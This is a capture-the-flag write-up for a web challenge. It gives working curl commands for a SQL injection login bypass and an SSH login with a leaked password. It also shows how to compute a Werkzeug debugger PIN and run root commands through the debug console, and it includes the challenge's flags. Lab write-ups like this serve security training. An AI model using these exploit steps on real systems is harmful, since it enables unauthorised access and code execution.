Alpwned - CTF Writeup

Category: WEB Flags: 2 (User + Root)

Challenge: https://hackerdna.com

Contents

Reconnaissance

Nmap reveals two open ports:

  • 22 - OpenSSH 10.0
  • 80 - Werkzeug httpd 3.1.3 (Python 3.12.11)

The web app is a “Tech Corp” employee portal with a login page hinting guest:guest credentials.

SQL Injection

The login form is vulnerable to SQL injection. The query is built with f-strings:

query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';"

The app blocks --, /*, and union but a simple tautology bypass works:

curl -X POST http://TARGET/login \
  --data-urlencode "username=admin' OR '1'='1" \
  --data-urlencode "password=x"

This redirects to /dashboard with a session cookie containing role: admin.

Dashboard & SSH Credentials

The admin dashboard displays a table of internal system credentials, including an active SSH entry:

Field Value
User ctf
Password nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm
Host prod-server-01.internal (same IP)

User Flag

sshpass -p 'nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm' \
  ssh ctf@TARGET 'cat /home/flag-user.txt'

User Flag: 5cb66b4a-5e82-4687-6b20-567ecb42f69a

The server is running Alpine Linux v3.22 (hence “Alpwned”).

Werkzeug Debugger RCE

The Flask app runs with debug=True, enabling the Werkzeug interactive debugger. The debugger is protected by a PIN and a host trust check.

Bypassing Host Trust

The debugger only accepts requests with Host: localhost or Host: 127.0.0.1. This is trivially bypassed by setting the header:

curl -H "Host: localhost" http://TARGET/console

Computing the PIN

The PIN is generated from:

  • Public bits: username (root), module (flask.app), app name (Flask), Flask’s app.py path
  • Private bits: MAC address integer (uuid.getnode()) and machine ID (boot_id + cgroup)
# Gather from the target:
boot_id = open('/proc/sys/kernel/random/boot_id').read().strip()
# f245b383-685b-448d-8f0a-b55976f73ab8
cgroup = open('/proc/self/cgroup').readline().strip().rpartition('/')[2]
# db436debeaf04b33b6b49c844bf6f356-3088728595
machine_id = boot_id + cgroup
node = str(uuid.getnode())  # 11375925439490

Using these values, the PIN is computed: 258-593-142

Authentication & RCE

Extract the SECRET from the error page, then authenticate and execute Python code as root:

# Authenticate and get PIN cookie
curl -H "Host: localhost" \
  "http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=258-593-142&s=x4OYLpzbNWnZIKXo3xk1"

# Execute commands as root
curl -G "http://TARGET/console" \
  -H "Host: localhost" \
  -b "__wzdc30a8aa28b708a39e0ba=<hash>" \
  --data-urlencode "__debugger__=yes" \
  --data-urlencode "cmd=__import__('os').popen('cat /root/flag-root.txt').read()" \
  --data-urlencode "frm=0" \
  --data-urlencode "s=x4OYLpzbNWnZIKXo3xk1"

Root Flag

Root Flag: 4158d639-b58b-4d27-7056-1b93a2c59e63